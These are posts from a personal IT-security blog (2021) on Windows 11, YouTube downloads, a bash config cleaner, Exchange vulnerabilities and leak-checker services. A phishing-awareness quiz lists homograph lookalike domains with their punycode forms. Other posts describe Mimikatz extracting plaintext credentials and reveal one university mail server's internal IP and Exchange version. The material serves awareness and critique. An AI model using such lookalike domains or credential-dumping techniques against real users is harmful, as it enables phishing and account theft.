In the upcoming c’t edition 19/2021, starting on 28 August, I will show in a “hardcore” article of several pages how to better protect your own wireless network¹.

Buy the next c’t, read it, copy it!

With this in mind,
Tomas Jakobs

https://www.heise.de/ratgeber/WLAN-Security-Raspberry-Pi-mit-Nzyme-ueberwacht-auf-verdaechtige-Aktivitaeten-6172932.html ↩︎

Beyond Good and Evil

Tomas Jakobs — Sat, 07 Aug 2021 14:23:00 +0200

Recently I was looking for a very particular music track. It is a song from the 2017 anime adaptation of “Ghost in the Shell” with Scarlett Johansson. More precisely: the official trailer music¹, which was not included in the sound score and therefore cannot be found in any of the mainstream music stores. That’s the downside of a few keeping an entire industry under technological and legal control. The coveted piece of music is the cyberpunk cover version of the 80s song “Enjoy the Silence” by Depeche Mode, reinterpreted by Joel Burleson² aka Ki:Theory³.

Legal situation

Is downloading a piece of music from the internet legal? Yes, when certain conditions are met. The lawyer Christian Solmecke examined this question from a legal point of view a long time ago and recently also provided a judicial update on the subject⁴. The essential lever is called the “right to private copying” and is opposed to the rights of use usually granted against purchase. The conditions in detail:

only private use by physical individuals
no obviously illegal sources
no circumvention of digital copy protection measures (DRM)
no violation of contractual terms of use.

Those who, like me, enjoy not having a Google account and have not agreed to any other terms of use can freely download and use content which, in this case, has even been uploaded by the official producers and musicians and where no DRM restricts the download or use.

Procedure

Fortunately, there are free interfaces and proxies like Invidious⁵ that facilitate a direct download of content from Youtube using MP4 or WebM formats. In principle, I recommend hosting such proxies for major internet platforms yourself as I have shown in the blog on Nitter⁶ or as a live session⁷ on Libreddit.

In my case, I chose the manual way via an anonymous Invidious instance. However, the free command line tool youtube-dl - part of almost every Linux distribution⁸ - would also have sufficed. The only thing needed for downloading is the youtube identifier, the string “l3cEWRdCI8w” from the video uploaded by Joel Burleson himself⁹. The output falls out after a few seconds as an MP4 file, which then becomes an MP3 using the converter ffmpeg¹⁰ - a one-liner that could be automated wonderfully by script.

If a technological feat is possible, man will do it. Almost as if it’s wired into the core of our being.

And that’s how this cyberpunk cover version of the modern film adaptation of Masanori Ota’s¹¹ “Ghost in the Shell” with a stunning lead actress as Motoko ended up in my own music library.

Live-Event - OPNSense

Tomas Jakobs — Mon, 26 Jul 2021 16:30:00 +0200

Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something’s going south?

Event finished, join the next one on upcoming Wednesday!

Dark Pattern by Apple

Tomas Jakobs — Sun, 18 Jul 2021 15:52:55 +0200

From time to time I can’t avoid using Chromium. Of course without wanting to give it access to the system’s keystore. But what does Apple offer me to choose from every time I start an application:

Is there a lack of capacity for the “Never allow” or “Always forbid” button? Of course not - not offering them is a deliberate design decision. Defect by Design and Default!

One more detail that makes it easier for me to say goodbye to the Apple world.

On that note,
Stay healthy, the 4th corona wave is coming!

Tomas Jakobs

Live-Event - Mutt

Tomas Jakobs — Sun, 18 Jul 2021 08:25:00 +0200

Event finished, join the next one on upcoming Wednesday!

What did you do this weekend?

Tomas Jakobs — Mon, 12 Jul 2021 07:40:00 +0200

Over the weekend I have increased security and automatized processes - that’s lame! This can be anything or nothing, too vague and unspecific. Well technically correct and with a touch of cynicism: “I translated bash scripts to YAML.”

Okay, let’s agree on:

I consolidated numerous bash scripts for automatically renewing certificates, reduced complexity, eliminated potential security risks when transferring certificates from outside reverse proxies to inside hosts, and made everything more transparent with both Ansible and Git.

With this in mind!
Have a good start into the new week!

Tomas Jakobs

Live-Event - RDPwrapper

Tomas Jakobs — Sat, 10 Jul 2021 08:25:00 +0200

Event finished, join the next one on upcoming Wednesday!

Live-Event - Nextcloud 22

Tomas Jakobs — Fri, 02 Jul 2021 15:15:00 +0200

Event finished, join the next one on upcoming Wednesday!

Windows 11

Tomas Jakobs — Sat, 26 Jun 2021 23:50:13 +0200

Even measured by Microsoft’s own standards, the half-life of promises is astonishing. Since 2015 it has been said that Windows no longer follows the classic licensing and version scheme. Windows 10 is the “last Windows”¹. Six years later, everything has changed.

That roughly corresponds to the lifespan of a PC office desktop. Compared to the much longer product cycles in SMEs, e.g. enterprise resource planning software, Microsoft appears erratic and unpredictable in its actions. Why bother with it, when you can’t trust their promises obviously?

More context

The Windows 11 announcement should be seen as a damage control and escape strategy. It has little to do with product development and much more with the failed Surface Duo and Windows 10 X projects that appeared in stores in spring 2021. Knitted with a hot needle, too expensive for meaningful use and conceptually immature², it was discontinued only short time later in May 2021 in a side note³. The investment in an Android-based system has obviously been burned. Zune⁴ and Nokia Lumia⁵ do come to mind. Microsoft CEO Nadella⁶ has his first major failure. Mobile devices are something Microsoft can’t do.

Information of a “reinvestment” published on Windows Central in mid-2020 is also part of the story. Windows 10 X developments are to flow into Windows 10.⁷ There were further hints of the new Windows 10 interface named “Sun Valley” in Microsoft job ads in January 2021⁸.

At some point during the 2nd half of 2020 until May 2021 drop, the decision is probably made for Windows 11.

The task between then and autumn 2021 was to put a fancy blanket over a horse that had been ridden to death. It has to be something new, great and able to distract from the disaster and thus Windows 11 is promised as the “biggest update of the decade”⁹.

The fact that the tortured horse only recently got a new blanket with “Fluent Design” remains unmentioned.¹⁰ And does “biggest update of the decade” mean that Microsoft will practice new modesty for the remaining 9 years and only release smaller updates? Or will it be back to “What do I care about my ramblings of yesterday?” in six years?

Even assuming maximum good intentions, it’s hard for me to buy Microsoft’s story of a new Windows. The visible changes with rounded windows, the centered taskbar and a new Start menu neither justify a version jump nor do they represent a new “design language”. Least of all, it clears up the UI/UX inconsistencies that have been dragged along for decades. More on this at the end of the article.

33% price bump

What sets Windows 11 apart is a whopping price adjustment. The way to do this is through the new update and release cycles, which sound pleasing at first glance: Instead of the half-yearly update cycles, which are little loved by admins and IT departments, there is to be only one annual feature update in the future. At the same time, the support period will increase from 18 to 24 months.

This has something of enlarged boxes of chocolates but with less content. The support period should have increased to 36 months in proportion to the current update cycles. Where previously a customer had the benefit of three function updates, there are now only two under the new scheme. A price increase of a whopping 33% or, depending on the perspective, a reduction in output by the same factor. Unfortunately, Microsoft’s fancy press releases don’t give that away and consequently no one writes about it.

More stress and risks

It’s getting more difficult to “skip” or extensively test a feature until it runs stable within an infrastructure. In fact, Microsoft is putting all on-premise installations under stress with its changed update and release cycle. What makes it even more difficult is that the updates in the past were anything but perfect. Just as reminder, here’s a brief summary of issues of last six months. Keep in mind, behind every line there are countless overtime-hours and wasted weekends:

06/15/2021: Windows updates cause printer problems¹¹
05/06/2021: Windows updates cause bluescreens on AMD systems¹²
04/21/2021: Users report problems with updates KB5001330 and KB5001337¹³
03/10/2021: March updates cause bluescreens when printing¹⁴
12/22/2020: Microsoft fixes problems with “chkdsk” after faulty update¹⁵

And beyond this, Microsoft is additionly dumping new platform into this: The Amazon App Store for Android apps, which are somehow - details are still unknown - supposed to run seamlessly alongside classic Win32 apps. Trust-building measures and a stable platform look differently!

The grab into the “more” bag of tricks.

All risk evaluations, impact assessments and pricing models are wastepaper and have to be redefined with the new Windows program version. Contracts with service providers and suppliers are up for discussion. An entire industry smells sales for chargeable updates and upgrades: From snake-oil manufacturers to specialist dealers.

The question is if these ancient methods from long ago will really succeed today and if Microsoft will be able to set an entire industry into movement. The company’s own Azure cloud already has more Linux systems than Microsoft systems¹⁶. Due to the artificial license limitation to a few cores and the ill-fate close relationship with Intel, the server and datacenter market is slipping away with its power-saving ARM clusters and powerful AMD CPUs. For good reason, specialized applications no longer run on fat, local desktops but on servers, either in terminals or as web applications. And take a look in your own household. There are more non-Windows and non-desktop systems around than ever before.

Against this backdrop, the integration of MS Teams into Windows 11 looks like an act of desperation aswell. A WebRTC Electron web application is artificially tied to a proprietary desktop operating system - how far can satire go? Meanwhile, this web application continues not to work without client software installation on non-Microsoft systems¹⁷.

More curiously, when web-based applications are more connected to Windows, Microsoft ties Windows more and more to its own Azure cloud. You see the dilemma? There is virtually no way around the Endpoint Manager¹⁸ in Windows-centric enterprise networks anymore. But they still keep pushing the platform hoping that consumers and IT decision-makers won’t get the bright idea that web applications can also work directly with cloud servers and don’t need a middleware called Windows. I am always banging my head - either make a web app that works everywhere or make a native client app customized for each platform. But please don’t make a web app that also requires an electron client web software.

As IT senior, I have the right to write about the good old days. Back in those times when we waged browser wars¹⁹ and Microsoft deceived the world with the claim that Internet Explorer was tightly integrated with Windows. I’m sure in 2021 we’ll be much more ahead of the curve, aren’t we?

Another act of desperation is the promise not to make any money on app sales in the Windows App Store.²⁰ Is the desperation that great? What about the promise Windows 10 will be the last version of Windows? Dear Microsoft, if you really want to attract developers and apps to your stores, then finally stop trying to enhance your APIs and “design languages” every few years! Finally throw away the rotten Windows! Preferably get rid of your marketing and sales department as well!

If anyone is wondering how I come to the conclusion that Windows 11 is an act of desperation and that Microsoft is sick on a declining branch, please have a look at the steadily decreasing or low market shares in desktop operating systems²¹, in cloud and server computing²² and office applications²³. Even in the gaming console market, Microsoft has been getting nowhere for decades²⁴.

On all fronts, Microsoft is retreating or already rendered irrelevant. Technical innovations are popping up mostly outside the Microsoft bubble. But why is Microsoft still one of the most valuable companies? Well, on the one hand, it must be taken into account that it comes from virtually a 100% dominance in desktop operating systems. On the other hand, the Will Rogers phenomenon²⁵ helps big such companies with multiple business units and declining shares. The American humorist and entertainer once said:

If the dumbest residents of Oklahoma move to California, the IQ in both states goes up.

Sounds funny and contradictory - the mathematics behind isn’t:

The set O from the numbers 5,6,7,8,9 has the mean value 7
The set C of the numbers 1,2,3,4 has the mean value 2,5

If the weakest number 5 from the set O moves to the set C, the mean value in C increases to 3 and in O to 7.5. By clever restructuring and averaging of important key figures, companies very often succeed in appearing in a better light than their real circumstances indicate. At least for a certain time as long as blackmailing OEM contracts are in place, lobbyists are working in the background and marketing departments can preserve an illusion.

About the Windows “design language”

The fact that Microsoft dares to speak of a “design language” with all of its rubble landscape and explicitly wants to reach creative people with its Windows 11 is quite surprising. The following pictures speak for themselves and impressively document, why I don’t take Microsoft for serious anymore for 14 years.²⁶ All screenshots are taken from a current Windows 10 Enterprise.

Windows 10 “Fluent Design”

Preferentially introduced in Windows and Office as well as various cross-platform applications starting in 2019: The “Fluent Design” design language:

Windows 8 “Metro Design”

Let’s move on to what is probably Microsoft’s biggest design blunder: the Metro Design of Windows 8, which is still present in many corners and edges today:

Windows 8 Win32 Design

Windows 8 also brought improvements to the “classic” desktop. The Task Manager but also the detailed views of the file copy dialogs are commendable:

Windows 7

The ribbons known from Office are the achievements of Windows 7, but most people remember Windows 7 positively only due to the fact that it cleaned up the sins of its predecessor Vista.

Windows Vista

The next misstep from Microsoft is Windows Vista. More than 14 years ago for me reason to jump off the Microsoft train and switch to Mac OS X and Linux. Unforgotten are the huge toolbars with their round navigation buttons, still visible today in the Windows Media Player or the Fax and Scan utility. Also the numerous “assistants” belong to the relics of Windows Vista.

Windows XP

Probably the longest-lived Windows in terms of years of service. The graphical elements of the Control Panel and especially the Windows Firewall, which entered the Windows world with XP Service Pack 3, have remained virtually unchanged. If you take a closer look in the control panel, you will still discover the possibility to create a “password reset disk”. The 3.5" drives should have disappeared from most PC systems long ago.

Windows 2000 Design

We’re going to the granddaddy of all today’s Active Directory domains. Windows 2000 replaced the classic NT4 landscape. The management console MMC with its numerous snap-ins, which is still used today, was a major innovation though it first introduced to NT4 SP4. The Remote Desktop Client MSTSC was also new at that time and remained unchanged till today. Those who finds the Check Driver Tool, may enjoy the classical file open dialogs.

Windows 98

Now it starts to get weird. With Windows 98 (actually already with Windows 95 B) the first USB devices came into the Windows world. Still recognizable today in the device management and printer driver integration. Everybody, who has to choose the right printer driver out of a list of hundreds from the non-scalable tiny window today is cursed till today because of untouched Windows UI since Windows 98.

Windows NT4/ Windows 95

The big brother of the Windows product line at that time was NT4, the technological predecessor of all current Windows versions. This shared a common user interface with the graphical DOS top Windows 95. Unchanged to this day are the screen saver settings, the Run dialog box, macro step recording, and the infamous .LNK file links. Even the .CHM help function from back then still lurks in every Windows to this day.

Windows NT3/ Windows 3.X

We are beyond the line of shame. It is hard to believe that code from Windows 3 can still be found in every modern Windows. Everyone who works with NOTEPAD.EXE text files inevitably comes into contact with it. Also the ODBC administration and some screen savers as well as the NT performance monitor originate from this time.

The cross the border between graphical and text oriented user interface with the system file MORICONS.DLL, where in every Windows until today still suitable icons for long ago no longer executable 8Bit and 16Bit DOS applications are kept.

MS-DOS, CP/M

The horror show of Windows inconsistencies ends with a 50 year old limitation. To this day, it is impossible to create files named CON, COM1, or LPT1, which were output destinations for console, serial, and parallel ports in 1970s CP/M²⁷. Microsoft adopted this “Quick and Dirty” concept along with the drive letters. Since MS-DOS in the early 1980s this concept remained unchanged. Or have you ever wonder why the first logical letter of every modern Windows starts with C: and not with A:? Try this to explain this weirdo logic.

Only when a system from Microsoft breaks with these inconsistencies and does not mount network drives with drive letters can it be called “new”.

Fun Fact: After taking the many screenshots, I noticed that the task bar icons in a Windows 10 are already centered by the sprawling search bar. I’m curious to see how Microsoft will resolve the conflict of the large, colorful icons with the small mostly solid icons in the right tray area.

With this in mind,
Tomas Jakobs

Quiz for more best practice and awareness

Tomas Jakobs — Fri, 18 Jun 2021 00:10:46 +0200

A quizzle for the weekend: Which of the following domains is most likely a malicious one? Look closely!

ԁeutsche-telekom.de
sparkasse-ԁarmstadt.de
cloud.sessionID.cf.373.tw/323.fra.commerzbank.de

Quite simple, some will say. Others claim they never fail to phishing mails or open unknown file attachments. This always happens to the others! Whoever knows such a person may pass this quiz to him or her.

Solution

Even if the first two domains seem familiar, they do not lead to where you expect. The “d” in deutsche-telekom and sparkasse-darmstadt is a cyrillic “d” and hardly distinguishable from our latin one. Technically it is a completely different letter. A look into the source code reveals the difference:

&#1281;eutsche-telekom.de

When inserted and opened in the web browser, the actual spelling in the DNS becomes clear:

xn--eutsche-telekom-dcp.de

It maybe too late when discovered in the web browser - the page has been opened and a malware dropped. Therefore recommendations to copy links from e-mails to the clipboard and into the browser are misleading and not preventing this at all.

The last domain, on the other hand, is a classic phishing domain. Registered with the TLD country code .tw somewhere in Taiwan, a domain of Commerzbank is feigned.

All three domains are highly likely to be malicious and should not be visited. Would you have known that? And besides Cyrillic characters, there are a lot more characters in different languages. This leads us to the consequence and best practice:

Do not click on links in mails, chats, PDFs and Office documents!

You are welcome.

Tomas Jakobs

Live-Event Libreddit

Tomas Jakobs — Wed, 16 Jun 2021 18:40:00 +0200

Event finished, join the next one on upcoming Wednesday!

You are welcome!

Simple Configcleaner

Tomas Jakobs — Mon, 14 Jun 2021 11:10:44 +0200

The simple, unspectacular things in life bring you ahead the curve. This bash script, for instance, removes all comments from a configuration file. In order that no empty lines remain instead, these are subsequently removed afterwards. What remains is the essence: what really counts.

The usage is straightforward: Just add the desired config file(s) as parameters and you’re done!

#!/bin/bash
# Beseitigt alle Kommentar- und Leerzeilen aus einer Configfile
# Sichert Datei mit Erweiterung .backup und
# erwartet Dateiname oder -liste als Parameter
for FILE in "$@"
do
# Erstellt Sicherungskopie(n)
cp --backup=numbered $FILE $FILE.backup
# Entfernt alle Kommentarzeilen > Arbeitsdatei
sed -e 's/#.*$//' $FILE > $FILE.tmp
# Entfernt alle Leerzeilen aus Arbeitsdatei
sed -i '/^$/d' $FILE.tmp
# Ersetzt Ausgangsdatei mit Arbeitsdatei
mv $FILE.tmp $FILE
done;

This simplifies automation and above all the search in page-long comments within a config file. However, be careful! Behind every line theres much of wisdom: Everything after a # sign is mercilessly removed, really everything! Take the following line as example:

test = "https://link#something"

this will become

test = "https://link

The syntax (missing closing quotation marks) as well as the content itself are no longer correct and lead to errors. Therefore I always enforce an automatic backup of the original. Unfortunately, fine-tuning the RegEx is not helpfully either, due to the fact that comments often indented with spaces or tabs or come after a command.

Know your tools!

Stay Healthy!
Tomas Jakobs

Live-Event zu Mayan DMS

Tomas Jakobs — Thu, 10 Jun 2021 18:50:00 +0200

Event finished, join the next one on upcoming Wednesday!

You are welcome!

Drawn to the dark side

Tomas Jakobs — Wed, 09 Jun 2021 17:40:00 +0200

One issue left from my CSS-Hacking-Session last month: The Dark-Mode of this Website. Well, today I finally managed to activate the dark side of the force. Enjoy!

Live-Event: Windows Server 2022

Tomas Jakobs — Tue, 08 Jun 2021 05:40:00 +0200

Event finished, join the next one on upcoming Wednesday!

Use Git! Publish Git-Repositories!

Tomas Jakobs — Tue, 01 Jun 2021 08:13:51 +0200

Many PoCs appear as textfiles with references to company websites or blogs. Reverse engineer Axel Souchet publishes his PoCs in a way I find more convenient and much better: As a git repository. Here his latest release on CVE-2021-28476 from a few hours ago, how via RCE a guest can breakout of a HyperV environment¹.

The further course of a publication is not less exciting, if to be learned and understood. And there are always questions or additions to something. As an example in the screenshot below the commits of an older PoC to CVE-2019-9810 from last year².

Only the fact that Microsoft GitHub is used as a hosting platform leaves a bad taste. With Codeberg.org there is a small, non-commercial and donation-funded alternative without collecting behavioural data³.

Creating your own Gitea instance is not witchcraft either, at least not for developers and techies⁴. The web interface makes it easy to use even for non-techies. Git is the best way to deal with complex processes with multiple participants and stakeholders in a transparent and traceable way. Hence my encouragement:

Use Git! Publish Git-Repositories!

Enjoy,
Tomas Jakobs

Live-Event: GNOME 40

Tomas Jakobs — Sat, 29 May 2021 16:30:00 +0200

Event finished, join the next one on upcoming Wednesday!

You are welcome!

Cat pictures always go

Tomas Jakobs — Sun, 23 May 2021 09:48:52 +0200

I finished the weekends’ flow with the integration of a live streaming menuitem. Not expecting to have an insane huge audience with this blog, I dare to hold small but maybe interesting live sessions at irregular intervals.

These might include installation evenings with unknown software, hacking sessions in programming projects without NDA. Definitely some gaming or flight simulator sessions and for customer meetings I would like to be able to show my server’s dashboard: “Look, by clicking here, this curve goes up there”.

Cat pictures always go I was told.
Well, with that in mind, I wish you a lot of fun watching!

No Javascript harmed or died

Tomas Jakobs — Fri, 21 May 2021 17:00:00 +0200

Friday afternoon, a long bank holiday weekend lies straight ahead. Time to fix a few issues in this blog. Basically just minor ones and for the most visitors irrelevant. But for me important details, making the difference to the standard modular websites.

Yellow Textmarker

One of these inconspicuous details is the highlighting with a “yellow textmarker”. I have been annoyed more than once when highlighting is done in the standard system colours. For a viewer, exactly the opposite happens: The highlighting worsens the readability and the contrast as the following picture shows:

With a few lines of CSS I’ve added the pseudo-class ::selection and look forward to the next webinar, where I can show something more clearly.

More Drama

An important quality feature of this site for me: It is discreet and free of javascripts, cookies and other dependencies. Visitors are not bothered with consent requests. This is exactly what makes the loading time optimal for Google and other search engines.

On the other hand, the page looks quite static and may need a little more “action”. With the help of another CSS hack, I have added a typewriter effect to the title and let the cursor blink permanently in a loop.

Update-Tags

Another detail: I was not able to indicate updated blogs accordingly. In most cases a ““Update”” suffix was added to the title. But this seems “lazy”, has a damaging impact on searches and is visually not noticeable when looking at the page. In future, nice update tags will mark updated content.

Tooltips

Last but not least, some explanatory text was missing for the minimalist icons in the top navigation. More icons will be added in the future. Tooltips are the solution without disturbing the appearance of the page. In order to make Hugo to distinguish between German and English texts, this is done with the help of partials in the corresponding i18n language files.

For a casual Friday afternoon, a lot of small improvements. Everything in pure CSS, no Javascript harmed or died.

In that spirit,
have a sunny weekend!

Tomas Jakobs

Microsoft Security destroyed

Tomas Jakobs — Mon, 17 May 2021 08:12:44 +0200

Benjamin Delpy did it again. This time his attention was focused on the aged SCCM¹. Once developed in the late 90s, it looks back on a turbulent history with some twists and turns. Unfortunately the security behind it looks exactly the same what you would expect and at best can be considered as “rotten” when still using 3DES² to communicate with clients³.

The video of a current Windows 2019 server with RDS/RDP terminal services clearly stand for itself. No prior code injection, no previously installed tools or libraries - just mimikatz⁴ on any connected AD machine and all passwords of current logged in users become visible in plain text⁵.

According to Benjamin Delpy, Mimikatz reads the passwords directly from the terminal server’s memory. So far, this has been tested on current Windows terminal servers 2016/2019 and Windows 10 LTSC. Further tests also confirm 2012R2 as well as Windows 10 21H1. With the release dated on 18.05.2021⁶, the PINs of smartcards can also be extracted in plain text on the server. External credential providers (e.g. PrivacyIDEA) are not affected yet.

The main problem: Why is Microsoft disregarding industry best practice and keeping user passwords and smartcard PINs (!!!) unprotected and readable for everyone in plain text in the server’s main memory?

The next weeks and months are going to be very interesting. For decades, I have propagated the idea of locking Windows-AD networks behind controllable Linux application gateways or proxies. Unfortunately, the situation in many companies is that everything is integrated into an AD which is not locked away quickly. This is clearly visible in companies that can not even be reached by phone in the event of a ransomware incident.

If I may quote myself from last year, regarding home office workplaces and how they can reasonably and sustainably connect to business applications on an RDS/RDP terminal server ⁶:

For me, terminal servers with free HTTPS gateways are an essential part of sustainable development.

Told you so!
Have fun!

New PDF-Workflow

Tomas Jakobs — Tue, 27 Apr 2021 15:00:00 +0100

The last two days I improved my own architecture and extended everything with a PDF workflow. If you like, you may download my larger blog series from the previous year in one piece as a PDF file and read them offline, a total of 75+ pages of condensed facts:

Come on, PDFs for old articles? Seriously? Well these are just test-balloons and working examples for my new PDF workflow. With the help of Pandoc, Git, Bash and Xelatex I have been able to achieve a significant improvement. The three linked PDFs are 100% automatically created from the content of this blog without my intervention. In future, this workflow will also be used for audits, documentation or other articles for third parties.

A nice side effect: No proprietary software, no Apple Pages nor Affinity Designer had to be used to create these PDFs. At the same time, I have 100% confidence, that I will still be able to use the content 20 years from now on, whatever hard- and software are used then.

The blog article on Pandoc, Tex and how everything seamlessly docks with Hugo will follow soon.

Stay healthy!
Tomas Jakobs

Anti-Pattern for Complexity Reduction

Tomas Jakobs — Tue, 20 Apr 2021 08:20:00 +0200

There is an unwritten law in software development and IT operations. An anti-pattern¹ for effective problem solving and complexity reduction. No one is crazy enough to adopt it. No customer on earth willing to pay for it. But they exist, the bright moments in the life cycle of a company, where this law can be applied. Here’s how it can be defined:

If you have a task or problem and you know how to solve it, then throw away your code after completion and tear apart an installation again.

Repeat everything, but document every step in the second attempt. When finished, throw everything away one more time and continue to work only with the documentation. Think about simplifications, vary the procedures, create recursions, whatever, but always strive to reduce complexity without succumbing to the temptation to add functionality².

Once the documentation is in place, the final attempt can be made to solve the problem. You will see that while the first attempt took weeks and the second days, the third will be easily done and can be measured in hours. Simultaneously, the final solution is sustainable, usually elegant, and free of ballast, complexity and any design flaws. And by the way: this is exactly the hallmark of good documentation.

Wish you good luck,
Tomas Jakobs

Quick Analysis: Snipe-IT in c't

Tomas Jakobs — Sun, 14 Mar 2021 07:09:00 +0100

The foundation of every ISMS is a “living” inventory. In an ideal world, this communicates with the Ansible, Bash or PowerShell scripts within IT Operations. Snipe-IT, which I value and have successfully used for many years, was unknown to c’t up until now.

Enjoy the read (in German): “IT-Assets im Griff” in der c’t Ausgabe 7/2021.

Microsoft Exchange Meltdown

Tomas Jakobs — Sat, 06 Mar 2021 14:00:00 +0100

Everybody with an Internet-faced Microsoft Exchange server, Outlook Web Access (OWA) or Exchange Active Sync (EAS) can consider his or her system as compromised since January. This is reported by security experts like Chris Krebs¹ and news magazines like Golem² or Heise³. In Germany, the BSI has contacted more than 9,000 companies⁴. The scope of the current security vulnerabilities are comparable to the previous Microsoft major Incidents regarding Eternal-Blue⁵ and Wannacry⁶ 4 years ago.

It is not the first warning from the BSI regarding Microsoft Exchange⁷. The advisories come at increasingly shorter intervals with increased shockwaves for the affected. Of course, anti-virus solutions - snake oil as I tend to say - are a quite poor protection. Never have been even close to be one in the past decades. Unfortunately, too many IT managers still trust this business model.

An installation of the emergency patches⁸ released on 02.03.2021 closes the four known zero-day vulnerabilities - but it does not eliminate any malware, already in the system. The US CERT has published technical background information on their website⁹.

The 21-year-old Active Directory service infrastructure and Microsoft closed-source policy show that they are not up to the demands of modern systems on the Internet, again. Effective security concepts, multi-factor authentication and, above all, transparency are lacking. In addition, costs and optimisation pressure weight on the companies. Security is not considered “sexy”. Quality and digital sustainability as values cannot be modeled in the Excel spreadsheets of business people and accountants. Bruce Schneier described this very well with the following quote:¹⁰

(…) Terrible security is the result of a conscious business decision to reduce costs in the name of short-term profits.

The next days and weeks promise to be exciting. In the US alone, 30,000 systems¹¹ are affected and news of “knocked out” Windows networks has started to gain momentum here aswell.

I support companies with my know-how, provide first aid and build sustainable, secure infrastructures. With my own infrastructure consisting of free Linux servers, routers and firewalls, I set a good example.

Stay safe and healthy,
Tomas Jakobs

Nextcloud 21

Tomas Jakobs — Thu, 25 Feb 2021 07:40:00 +0100

Yesterday evening I rolled out the new update on my Nextcloud 21 instance. In the coming days, functional tests and adjustments will follow on the scripts for rolling out on customers’ systems

Looking with interest on my Prometheus monitoring, how far the performance improvements affect actual implementation. That’s not usually worth an extra microblog. My point is, that I haven’t seen such a smooth upgrade of a Nextcloud main release with such broad app support for a while.

Congrats to the Nextcloud-Team, you made a great job!

Tomas Jakobs

P.S. Those who still work with Nextcloud 19 should start moving. In a few months (June!) the server will be end-of-life. Looking for a managed Nextcloud server? Check this out or contact me!

Quote of the Day

Tomas Jakobs — Tue, 23 Feb 2021 12:41:00 +0100

Today’s quote is from Mike Kuketz’s Fediverse¹:

Those in control of data are also in control of society. Digitisation must take this into account and understand data protection as social value. Data protection and digitalisation are not incompatible though many people believe this.

In my daily practice, I encounter people who try to play data protection and digitisation off against each other. This eristic dialectic² is something you can only avoid and quickly put an end to. It is a false dilemma³ mostly used in the absence of expert knowledge and arguments.

In the meantime the German Federal Constitutional Court in Karlsruhe made a landmark ruling regarding Article 82 GDPR⁴. Responsible persons and managing directors should be concerned about their liability. Many of them are not aware of the “appropriate compensation” within GDPR wowards subjects. The FAZ⁵ expects a wave of lawsuits like those ones during the diesel scandal.

See you
Tomas Jakobs

Microsoft recommends Zero Trust

Tomas Jakobs — Fri, 19 Feb 2021 14:01:00 +0100

This picture is for all the people I have had discussions with in recent years about Digitisation in general or, more specifically, about the integration of tablets or notebooks within a corporate network.

My recommendation then and now: Zero Trust! Isolate and segment potentially insecure, closed-source AD infrastructures! Keep smartphones, tablets or laptops out! This also applies to unknown, untrusted applications. " jumper laptops" are the better places for them. Put business applications on RDP/RDS terminal servers¹ and create uniform, web-based, open interfaces that can be monitored and controlled. Nextcloud² is suitable for accessing SMB files, Apache Guacamole³ for RDP access via HTTPS. Use RFC-standardised⁴ multi-factor authentications! Technologies like Keycloak⁵ or PrivacyIDEA⁶ make this possible throughout the enterprise.

There are so many possibilities - but what is being done? Inflationary VPN accesses are distributed and all gates straight into an AD are torn down. So that even the last Idiot may continue to work with his rotten SMB drive letters.

Here is the punchline in today’s Heise-Newsticker: Microsoft recommends Zero-Trust!⁷

A “Zero Trust” philosophy is an important part of any security strategy.

It took a long way including a large-scale hack and intrusion into their own network to make them realize this. But don’t worry, Microsoft reliably ensures my “I Told You So” T-Shirt and recommends its own technologies for protection.

Stay Healthy,
and enjoy your sunny weekend!

Tomas Jakobs

Leak Checker Comparison

Tomas Jakobs — Wed, 17 Feb 2021 08:00:00 +0100

There is an uneasy feeling when reading reports of major hacks and data leaks. Am I exposed is the main question. Leak checkers promise to provide answers. The Hasso Plattner Institute (HPI) in Potsdam runs a well-known plattform¹, another from the University of Bonn² is slightly less popular. Both share the same functional principle: Get an email, compare it with a database full of leaks, send back the answer. The details are where the differences lie, and unfortunately they are not comfortable.

Integration of Google resources

The HPI disqualifies itself by including externally linked Javascript resources from ajax.googleapis.com. The resource in question is an outdated JQuery library version 1.11.0 with numerous documented vulnerabilities³. A visitor is not asked about the data transfer of his IP, browser data and the time of the retrieval to Google. There is no information provided in the privacy policy⁴.

However, the Bonn-based website does a better job but with other inconveniences. Modern security features remain unsupported. An HTTP Strict Transport Security (HSTS), a Content Security Policy (CSP), important HTTP headers against XSS and X-Frame attacks and the referer-suppression are missing⁵.

The carelessness and lack of implementation of modern internet standards in both projects is surprising.

Email-Server

The astonishment continues when observing the email infrastructure. The result emails came from the hosts mail2.hpi.uni-potsdam.de for HPI and mail.uni-bonn.de for LeakChecker.

Both mail servers work with TLS 1.0/1.1. Ciphers are not specified on the server side and allow a downgrade. Common security standards such as SPF, MTA-STS, DNSSEC or DMARC are not supported. The University of Bonn made a configuration error with the DMARC entry. The reporting email refers to a third party provider⁶ without the necessary permission record⁷.

The mail server of HPI does not strip email headers and allows an insight view into the campus network of the University of Potsdam. This reveals a rotten Microsoft Exchange Server 2016 with the internal IP 192.168.32.11, which obtains my result mail from the application server and relays it. According to the server identifier 15.1.2044.4, it is lagging two patch versions behind and is at the level of 16.06.2020⁸.

Results

The results are sent back via email within minutes after submission. Abuse is prevented by strong rate limits. Only one email per week can be requested via the University of Bonn. The HPI replies are signed with an PGP cert. From practical considerations, this does not seem to make sense. The identity of the sender cannot be verified by a recipient and generates unnecessary warning and error messages in the email programs. Trusting an untrusted email in this sensitive matter would be beyond the ability of the average end user unfamiliar with PGP.

The results are displayed in tabular form in both emails. On the positive side, the Leak Checker from the University of Bonn displays the first and last letters of a password. The HPI tool in contrast was better in identifying the affected services.

Bottomline

Both tools tell more about their operators than the operators would like them to. This does not present the HPI favourably. In comparison, the Bonn-based tools perform better and present a more modern design. If these tools are intended to promote security and data protection, I am quite disappointed. Furthermore, it is a pity that the web frontends and the database queries cannot be reviewed in the source code. That might have provided more transparency and increased trust.

The HPI tool should only be used with a browser in which 3rd party queries are automatically blocked. In terms of the results, both tools complement each other and give a good overview and introduction to managing access with the help of a password manager when used in combination.

Working at Home 14 Years Ago

Tomas Jakobs — Thu, 04 Feb 2021 14:58:00 +0100

This picture shows my home office in the year 2007. At the bottom left, you can see my last productive bare-metal Microsoft installation. A WinXP, Office 2003 and Visual Studio .NET installation. In the middle above and below you can find my primary system of choice back in those days, an openSUSE Linux. At least till the release of the iPhone a year later in 2008. This was the initial spark for switching to macOS and iOS. Yes, I was a switcher!

